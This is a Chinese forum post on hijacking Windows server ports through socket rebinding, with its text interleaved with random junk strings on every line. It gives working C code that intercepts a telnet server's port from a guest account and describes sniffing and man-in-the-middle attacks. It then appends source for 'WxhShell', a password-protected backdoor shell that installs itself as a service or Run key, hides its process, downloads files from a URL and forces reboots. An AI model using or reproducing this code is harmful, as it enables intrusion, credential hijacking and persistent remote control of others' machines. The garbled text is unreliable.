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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g([M hf#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I3u)y|Y=  
 3Hi8=*  
  saddr.sin_family = AF_INET; @@cc /S  
~_ u3_d.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [_: GQ  
AcHeZb8b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dSe d 6  
Dt(xj}[tC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TX;)}\  
z\$(@:{A  
  这意味着什么?意味着可以进行如下的攻击: R2JPLvs  
k U0.:Gcc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FIUQQQ\3  
'4CD }  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u<4bOJn({  
1iqgVby  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MjWxfW/  
| ^G38  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [s{[ .0P]+  
@8$z2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '8[; m_S  
Vcnc=ct  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X4{<{D`0t8  
=2}V=E/85  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EWr7eH  
nLx|$=W  
  #include .R l7,1\  
  #include J4@-?xj=\q  
  #include Ubgn^+AI  
  #include    (][-()YV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JW )f'r_f  
  int main() J 5';Hb)  
  { uP(t+}dQ+3  
  WORD wVersionRequested; E^Q J50  
  DWORD ret; *+nw%gZG  
  WSADATA wsaData; H \'1.8g/  
  BOOL val; %ZX9YuXQ  
  SOCKADDR_IN saddr; (.X)=  
  SOCKADDR_IN scaddr; zWH)\>X59  
  int err; K:GEC-  
  SOCKET s; WdlGnFAWh  
  SOCKET sc; '.M4yif \g  
  int caddsize; /V63yzoY  
  HANDLE mt; EB*C;ms  
  DWORD tid;   boHbiE  
  wVersionRequested = MAKEWORD( 2, 2 ); u0A$}r$L  
  err = WSAStartup( wVersionRequested, &wsaData ); >\w]i*%  
  if ( err != 0 ) { 5+;Mc[V3-  
  printf("error!WSAStartup failed!\n"); '5LdiSk  
  return -1; 0{ ~2mggh  
  } ^;rjs|`K#  
  saddr.sin_family = AF_INET; @0]WMI9B"B  
   AI Kz]J0;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 M%Gnz  
'O\ y7"a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k!}(a0h  
  saddr.sin_port = htons(23); I "O^.VC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +:4>4=  
  { >TY;l3ew  
  printf("error!socket failed!\n"); N5,LHO  
  return -1; cjJfxD&q  
  } d9BFeq8  
  val = TRUE; d;]m wLB0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z"%.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;!A8A4~nu  
  { "aF2:E'  
  printf("error!setsockopt failed!\n"); _ia&|#n  
  return -1; \}v@!PQl  
  } ">CRFee0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m+;U,[%[*E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;mQ|+|F6X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 } &+]UGv  
[0y,K{8t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $q:l \  
  { \-pwA j?  
  ret=GetLastError(); &gY578tU  
  printf("error!bind failed!\n"); H=C~h\me?  
  return -1; SyVXXk 0  
  } JAd .\2%Y  
  listen(s,2); {l,&F+W$C  
  while(1) SNOc1c<~  
  { <q!HY~"V  
  caddsize = sizeof(scaddr); 4 H0rS'5d  
  //接受连接请求 b4cTn 6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UX63BA  
  if(sc!=INVALID_SOCKET) bWp:!w#K  
  { 6Q7=6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e}yF2|0FD  
  if(mt==NULL) X-(( [A  
  { !~9ASpqvPy  
  printf("Thread Creat Failed!\n"); LF!KP  
  break; /C Xg$%\  
  } = K}Pfh  
  } F$tzsz,9n  
  CloseHandle(mt); j!i* &  
  } -%MXt  
  closesocket(s); g $Y]{VM.J  
  WSACleanup(); kE'p=dXx  
  return 0; xjbI1qCfe  
  }   Nm z5:Rq  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yq00<kIDJ  
  { #Mn?Nn  
  SOCKET ss = (SOCKET)lpParam; iXo; e  
  SOCKET sc; eUQmW^  
  unsigned char buf[4096]; sx=1pnP9`  
  SOCKADDR_IN saddr; ,\"x#Cc f  
  long num; ]^>Inh!  
  DWORD val; ^UKY1Q .  
  DWORD ret; f\= @jV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e8 ]CB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1gK^x^l*f  
  saddr.sin_family = AF_INET; jy.L/s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9ns( F:  
  saddr.sin_port = htons(23); z_xy*Iif  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A4@z+ebb l  
  { b}Gm{;s!  
  printf("error!socket failed!\n"); ^2Cqy%x-  
  return -1; /]z #V'  
  } D? %*L  
  val = 100; 4h!yh2c..  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-iQ  
  { bS8$[7OhX  
  ret = GetLastError(); 0qFO+nC  
  return -1; 9?ll(5E  
  } \[{8E}_"^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jbS@6 * _  
  { }GURq#  
  ret = GetLastError(); 3Y)z{o>P  
  return -1; 6/wC StZ  
  } #@BhGB`9Qt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U9`Co&Z2  
  { 81|[Y'f  
  printf("error!socket connect failed!\n"); /1/'zF&R-  
  closesocket(sc); SHPDbBS  
  closesocket(ss); &?QKWxN  
  return -1; RjUrpS[I  
  } Ou4hAm91s  
  while(1) Z<d=v3q  
  { /PaS <"<P@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bvB7d` wx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ckFPx l.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Bj6%mI42hl  
  num = recv(ss,buf,4096,0); <Sd ef^  
  if(num>0) X=?9-z] QO  
  send(sc,buf,num,0); lQ^"-zO4  
  else if(num==0)  rwSR  
  break; m\&99-j:@b  
  num = recv(sc,buf,4096,0); )Az0.}  
  if(num>0) \25EI]  
  send(ss,buf,num,0); =[aiW|Y  
  else if(num==0) wG s'qL"z  
  break; *\:sHVyG(  
  } DQu)?Rsk  
  closesocket(ss); a|y'-r90  
  closesocket(sc); :/PxfN5  
  return 0 ; I+Yq",{%  
  } fA1{-JzV<4  
GK6~~ga=  
L"1AC&~ u  
========================================================== zI ^:{]p  
>u0XV"g$  
下边附上一个代码,,WXhSHELL er BerbEEH  
]!"7k_  
========================================================== `N}V i6FG  
h~%8p ]  
#include "stdafx.h" k&[6Ld0~56  
>U\P^yU  
#include <stdio.h> e+#k\x   
#include <string.h> Xep2 )3k>  
#include <windows.h> eFy {VpO+  
#include <winsock2.h> S~m8j |3K  
#include <winsvc.h> ntPX?/  
#include <urlmon.h> 7$0bgWi  
C %j%>X`  
#pragma comment (lib, "Ws2_32.lib") pIpdVKen  
#pragma comment (lib, "urlmon.lib") >Z gV8X:  
t5 ^hZZ  
#define MAX_USER   100 // 最大客户端连接数 D\J.6W  
#define BUF_SOCK   200 // sock buffer /={N^8^=x  
#define KEY_BUFF   255 // 输入 buffer /VEK<.,aMv  
hfc~HKLC  
#define REBOOT     0   // 重启 9zx9t  
#define SHUTDOWN   1   // 关机 iM1E**WCtv  
D^s#pOZS  
#define DEF_PORT   5000 // 监听端口  (t@!0_5  
b ettOg  
#define REG_LEN     16   // 注册表键长度 l  LBzY`j  
#define SVC_LEN     80   // NT服务名长度 %ib7)8Ki0  
5TeGdfu @  
// 从dll定义API .*+jD^Gr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ms3GvPsgv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kQ2WdpZ/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {5ehm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i&)([C0z$  
m9 c`"!  
// wxhshell配置信息 2zv:j7  
struct WSCFG { c;a<nTLn  
  int ws_port;         // 监听端口 &VCg`r-{~  
  char ws_passstr[REG_LEN]; // 口令 |,H 2ge  
  int ws_autoins;       // 安装标记, 1=yes 0=no k7sD"xR3  
  char ws_regname[REG_LEN]; // 注册表键名 Ut/%+r"s  
  char ws_svcname[REG_LEN]; // 服务名 @S5HMJ2=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 at\u7>;.^k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p*1 B *R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rY@9nQ\>g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QaA?UzB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =jxy4`oF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Xwb`?}-  
S$40nM  
}; [P}mDX  
[yc7F0Aw  
// default Wxhshell configuration 7G Erh,  
struct WSCFG wscfg={DEF_PORT, x",ktE>9  
    "xuhuanlingzhe", =CdrhP_  
    1, Vvfd?G"  
    "Wxhshell", *c$UIg  
    "Wxhshell", Oi@|4mo  
            "WxhShell Service", Fs=)*6}&  
    "Wrsky Windows CmdShell Service", 7>0/$i#'Vl  
    "Please Input Your Password: ", F$:UvW@e1  
  1, cc1M9kVi  
  "http://www.wrsky.com/wxhshell.exe",  B"5xs  
  "Wxhshell.exe" /3sX>Rj  
    }; eQ6wEeB9  
Nm-E4N#'i  
// 消息定义模块 -Oz! GX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q]Xu #:X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :hWG:`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MJH>rsTQ  
char *msg_ws_ext="\n\rExit."; ]F;1l3I-  
char *msg_ws_end="\n\rQuit."; -Edi"B4K  
char *msg_ws_boot="\n\rReboot..."; 6o(.zk`d  
char *msg_ws_poff="\n\rShutdown..."; <*/Z>Z_c2  
char *msg_ws_down="\n\rSave to "; VpY,@qh  
XgeUS;qtta  
char *msg_ws_err="\n\rErr!"; m*i,|{UZ  
char *msg_ws_ok="\n\rOK!"; ,4-],~T  
b+f '  
char ExeFile[MAX_PATH]; 8$IUit h  
int nUser = 0; O9ro{ k  
HANDLE handles[MAX_USER]; z 9WeOs  
int OsIsNt; #~qza ETv,  
uFlf#t =  
SERVICE_STATUS       serviceStatus; ~xws5n}F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J'WOqAnPZ  
v v5rA 6+  
// 函数声明 ;l < amB  
int Install(void); z  fy(j  
int Uninstall(void); \~U:k4  
int DownloadFile(char *sURL, SOCKET wsh); ]'hel#L;l  
int Boot(int flag); VOg'_#I  
void HideProc(void); ~~t >;  
int GetOsVer(void); E2`9H-6e  
int Wxhshell(SOCKET wsl); %*gg6Q  
void TalkWithClient(void *cs); D})12qB;u9  
int CmdShell(SOCKET sock); zQ u9LN  
int StartFromService(void); Z;0<k;#T(p  
int StartWxhshell(LPSTR lpCmdLine); k!6m'}v  
6Tm7|2R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d+0= a]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hm<:\(q  
0| =y#`;,Z  
// 数据结构和表定义 'bg'^PN>z  
SERVICE_TABLE_ENTRY DispatchTable[] = L(1} PZ  
{ nCA~=[&H  
{wscfg.ws_svcname, NTServiceMain}, 6J$I8b#/  
{NULL, NULL} $_\x}`c~.  
}; 7lwFxP5QT  
Jv]$@>#  
// 自我安装 N6%L4v8-}X  
int Install(void) 6UqDpL7^U  
{ KhL%ov  
  char svExeFile[MAX_PATH]; :}gEt?TUhs  
  HKEY key; 5rQu^6&  
  strcpy(svExeFile,ExeFile); V <ilv<  
G2P:|R  
// 如果是win9x系统,修改注册表设为自启动 p&HO~J <w  
if(!OsIsNt) { [.C P,Ly  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $) qL=kR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r;wm`(e  
  RegCloseKey(key); MvaX>n !o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (W[]}k ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$P1ps3B  
  RegCloseKey(key); WHU l.h  
  return 0; <R%TCVwC@  
    } |~rKDc  
  } 3Lv5>[MnN  
} rA8{Q.L  
else { tv: mjS  
Z=a~0&G  
// 如果是NT以上系统,安装为系统服务 ?<Mx*l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z*cKH$':  
if (schSCManager!=0) *|;`Gp  
{ 7fl{<uf  
  SC_HANDLE schService = CreateService q:vGGK^  
  ( k_gl$`A  
  schSCManager, f<'D?d)L^  
  wscfg.ws_svcname, ,TYFPulYcp  
  wscfg.ws_svcdisp, r!|h3*YA  
  SERVICE_ALL_ACCESS, U % ?+N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p$*P@qm  
  SERVICE_AUTO_START, rQ&XHG>Q*  
  SERVICE_ERROR_NORMAL, =&DuQvN,  
  svExeFile, >Dz8+y  
  NULL, VS_I'SPPIc  
  NULL, {*<%6?  
  NULL, wb##|XyK<c  
  NULL, S?c<Lf~W  
  NULL 6X!jNh$oF  
  ); ? Y luX  
  if (schService!=0) 6(ER$  
  { ~4mRm!DP  
  CloseServiceHandle(schService); z$M-UxY  
  CloseServiceHandle(schSCManager); AWA J*6Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )XoMOz  
  strcat(svExeFile,wscfg.ws_svcname); n{M-t@r7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O2U}jHsd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C3 BoH&  
  RegCloseKey(key); Q~KzcB<  
  return 0; J-5kvQi8  
    } %:OX^ ^i;  
  } SQMtR2  
  CloseServiceHandle(schSCManager); ~c*kS E2X  
} J.O{+{&cd  
} #wkSru&LS  
bHXoZix  
return 1; }U%T6~_wR  
} O:imX>|u  
BQs\!~Ux2  
// 自我卸载 su\`E&0V+  
int Uninstall(void) $)KNpdXh  
{ Q9;VSF)  
  HKEY key; m9\~dD  
Mq#Hi9SKY  
if(!OsIsNt) { 7 ;2>kgf~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ /<kPi  
  RegDeleteValue(key,wscfg.ws_regname); 7`^=Ie%(K  
  RegCloseKey(key); #nmh=G?\Sm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $FZcvo3@*S  
  RegDeleteValue(key,wscfg.ws_regname); Y@ vC!C  
  RegCloseKey(key); Fzn !  
  return 0; >\3N#S"PF  
  } !Y/S2J  
} <UTO\w%  
} $if(n||  
else { *r7%'K{ C  
kxmsrQ>av  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z>dvth  
if (schSCManager!=0) <)"i'v $  
{ f'BmIFb#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VZ7E#z+nM#  
  if (schService!=0) m/< @Qw  
  { "I@akM$x  
  if(DeleteService(schService)!=0) { z(#dL>d$'  
  CloseServiceHandle(schService); $bN_0s0:'  
  CloseServiceHandle(schSCManager); xU(b:D Z  
  return 0; ?u0qYep:  
  } 5,\|XQA5!  
  CloseServiceHandle(schService); =c%gV]>G  
  } k,ezB+  
  CloseServiceHandle(schSCManager); M<Y{Cs  
} Iv u'0vF  
} |D[LU[<C  
.&h|r>*|J  
return 1; S%wd Xe  
} >LB*5  
NFf` V  
// 从指定url下载文件 &z>iqm"Ww  
int DownloadFile(char *sURL, SOCKET wsh) "s@q(J  
{ NS "1zR+  
  HRESULT hr; Zm+GH^f'  
char seps[]= "/"; Hr \vu`p$  
char *token; R?Ch8mW.!  
char *file; aPX'CG4m  
char myURL[MAX_PATH]; hE'>8{  
char myFILE[MAX_PATH]; F'@ 9kdp  
+Edq4QYwR  
strcpy(myURL,sURL); }xgs]\^,73  
  token=strtok(myURL,seps); u>V~:q\X  
  while(token!=NULL) v\5`n@}4  
  { (?P\;yDG  
    file=token; #_:%Y d  
  token=strtok(NULL,seps); O#)YbaE  
  } mC'<Ov<eJ  
9Wdx"g52_D  
GetCurrentDirectory(MAX_PATH,myFILE); Q776cj^L  
strcat(myFILE, "\\"); )OFf nKh  
strcat(myFILE, file); :7s2M  
  send(wsh,myFILE,strlen(myFILE),0); Qgq VbJP"  
send(wsh,"...",3,0); VzWH9%w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QPB ^%8  
  if(hr==S_OK) RVr5^l;"  
return 0; IG!(q%Gf  
else 7<LCX{Uw  
return 1; w%%*3[--X  
D+Z2y1  
} w|-m*v .  
xqv&^,ic  
// 系统电源模块 j!IkU}*c  
int Boot(int flag) M|UCV_omN  
{ -E.fo._L5  
  HANDLE hToken; <#)Q.P  
  TOKEN_PRIVILEGES tkp; L!Gpk)}[i  
$IJ"fs  
  if(OsIsNt) { kXO c)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WFvVu3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4!-/m7%eF  
    tkp.PrivilegeCount = 1; L^Fb;sJYI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GFvLd:p` [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ru$%gh>v  
if(flag==REBOOT) { 9x#T j/5%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @={ qy}  
  return 0; $ou/ Fn  
} 7MhaLkB_6  
else { )c<[@ ::i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $?DEO[p.  
  return 0; FW3uq^  
} =Nr?F '<  
  } X#ud_+6x  
  else { p &i+i  
if(flag==REBOOT) { +)_#j/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UW{C`^?=B  
  return 0; cvjZ$Fcc%(  
} i({MID)/_  
else { i4)]lWnd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v|nt(-JX  
  return 0; n m.5!.  
} )qRE['M  
} .i1|U8"X  
&jh17y  
return 1; 6Z;D`X,5  
} !y3XIbdS"  
dlwOmO'Bm)  
// win9x进程隐藏模块 72= 4#  
void HideProc(void) vtRz;~,Z  
{ r>t|.=!  
;33SUgX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E4<#6q  
  if ( hKernel != NULL ) {&nDm$KTD  
  { 5IbCE.>iU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <,J O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Li\b ,_C  
    FreeLibrary(hKernel); *nwH1FjH  
  } ,W>-MPJn[8  
nE4rB\  
return; pAyUQe;X#  
} f 2k~(@!h  
e/$M6l$Q*4  
// 获取操作系统版本 J!yK/*sO,  
int GetOsVer(void) 8Y;2.Z`Rz  
{ F`.W 9H3  
  OSVERSIONINFO winfo; 9+~1# |  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q'%!qa+  
  GetVersionEx(&winfo); (i-L:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wYh]3  
  return 1; 3(1UI u  
  else Iz&<rL;s  
  return 0; #_zj5B38E  
} !ozHS_  
0&c<1;  
// 客户端句柄模块 $LtCI  
int Wxhshell(SOCKET wsl) B XO,  
{ }p*WH$!~  
  SOCKET wsh; l;h5Y<A%?  
  struct sockaddr_in client; 7+rroCr"  
  DWORD myID; MF +F8h>/  
TIno"tc3  
  while(nUser<MAX_USER) S0;s 7X#c  
{ $"3cN&  
  int nSize=sizeof(client); 2 y& k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yg"FF:^T  
  if(wsh==INVALID_SOCKET) return 1; }L>0}H  
`r0MQkk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); + ,rl\|J%  
if(handles[nUser]==0) +KIFLuL  
  closesocket(wsh); ;Ehv1{;  
else ZJHaY09N  
  nUser++; *++}ll6  
  } 3GXmyo:o$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dRBWJ/ 1T  
7M$cIWe$  
  return 0; i \@a&tw  
} O*c<m,  
l)Mi?B~N  
// 关闭 socket 8 LsJ}c  
void CloseIt(SOCKET wsh) Om2w+yU  
{ B%z+\<3^q  
closesocket(wsh); H )Ze{N  
nUser--; [vxHsY3z  
ExitThread(0); `Cz_^>]|=  
} (ZQ?1Qxo  
[f=Y*=u9,  
// 客户端请求句柄 Dc0CQGx9b  
void TalkWithClient(void *cs) ]i8t  
{ ~zQxfl/  
%t]{C06w+{  
  SOCKET wsh=(SOCKET)cs; )-\qo#0l  
  char pwd[SVC_LEN]; B\+uRiD8w  
  char cmd[KEY_BUFF]; ;G*)7fi  
char chr[1]; lDZ~  
int i,j; a&B@F]+  
<A&Zl&^1  
  while (nUser < MAX_USER) {  Rp6q)  
~\ v"xV  
if(wscfg.ws_passstr) { .L.9e#?3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ic%ZoZ_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t<e3EW@>>  
  //ZeroMemory(pwd,KEY_BUFF); kT:?1w'  
      i=0; Ka$lNL3<j  
  while(i<SVC_LEN) { br*PB]dU  
x::d}PP7  
  // 设置超时 rv2;)3/*  
  fd_set FdRead; ~Jlq.S'  
  struct timeval TimeOut; xxOhGA)  
  FD_ZERO(&FdRead); L),bP fz  
  FD_SET(wsh,&FdRead); rnBp2'EM  
  TimeOut.tv_sec=8; Y /l~R7  
  TimeOut.tv_usec=0; 8[:G/8VI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t"YN:y8-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yh.WTgcW  
^,` L!3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SUD~@]N1  
  pwd=chr[0]; N3w y][bo  
  if(chr[0]==0xd || chr[0]==0xa) { mv(/M t  
  pwd=0; `)Y 5L}c=  
  break; Jv!f6*&<  
  } tMyMA}`  
  i++; BJ{?S{"6%G  
    } j_S3<wEJ  
im F,8'  
  // 如果是非法用户,关闭 socket W3n[qVZIC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {,= hIXo>  
} co' qVsOiH  
iDYm4sY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (N5"'`NZA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gl!ht@;>ak  
\!*F:v0g^  
while(1) { 1yTw*vH F  
cG4}daK]d  
  ZeroMemory(cmd,KEY_BUFF); (Z8wMy&:  
Sp]ov:]%f  
      // 自动支持客户端 telnet标准   ri4:w_/{,Y  
  j=0; m<!CF3g  
  while(j<KEY_BUFF) { ?\zyeWK0L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }&%&0$%  
  cmd[j]=chr[0]; IEWl I  
  if(chr[0]==0xa || chr[0]==0xd) { &iT^IkA{  
  cmd[j]=0; _B\87e  
  break;  JY_!G  
  } v+CW([zAx#  
  j++; GqgJ]m  
    } -o57"r^x  
<80M$a g  
  // 下载文件 jJ?G7Q5 l  
  if(strstr(cmd,"http://")) { P#"_H}qC*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )4H0Bz2G  
  if(DownloadFile(cmd,wsh)) FPEab69  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k#N] 9D3  
  else <f0yh"?6VH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WL3J>S_  
  } @== "$uRw  
  else { ;`Z>^.CB  
fqn;,!D?9  
    switch(cmd[0]) { 5"D\n B%  
  ~}Z{hs)  
  // 帮助 fLV@~T|  
  case '?': { ""jl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fmFs  
    break; NSQ)lSW,;  
  } f1U: _V^d  
  // 安装 '(8} <(%  
  case 'i': { pWKI^S  
    if(Install()) q'jInwY|x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WctGhGH  
    else 6>h"Lsww  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&HkR^.S  
    break; Ex{;&UWm  
    } U)1hC^[!   
  // 卸载 cN)noGkp  
  case 'r': { UO-,A j*wW  
    if(Uninstall()) t_qX7P8+'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UBx0Z0Y  
    else a(x#6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i^ eDM.#X  
    break; s_6Iz^]I  
    } $EZr@n  
  // 显示 wxhshell 所在路径 RG- ,<G`  
  case 'p': { qx}*L'xB  
    char svExeFile[MAX_PATH]; UDb  
    strcpy(svExeFile,"\n\r"); ] .c$(.  
      strcat(svExeFile,ExeFile); O! w&3 p  
        send(wsh,svExeFile,strlen(svExeFile),0); 5%" 0  
    break; Vje LPbk)  
    } d^`n/"Ice  
  // 重启 /-g%IeF  
  case 'b': { $oZV 54  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N0fmC*1-  
    if(Boot(REBOOT)) Ft8ii|-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Na`vw  
    else { {|tMN,Z  
    closesocket(wsh); MUp{2_RA  
    ExitThread(0); `e5f69"  
    } ))uki*UNK  
    break; _u;34H&/  
    } 1VG7[#Zy  
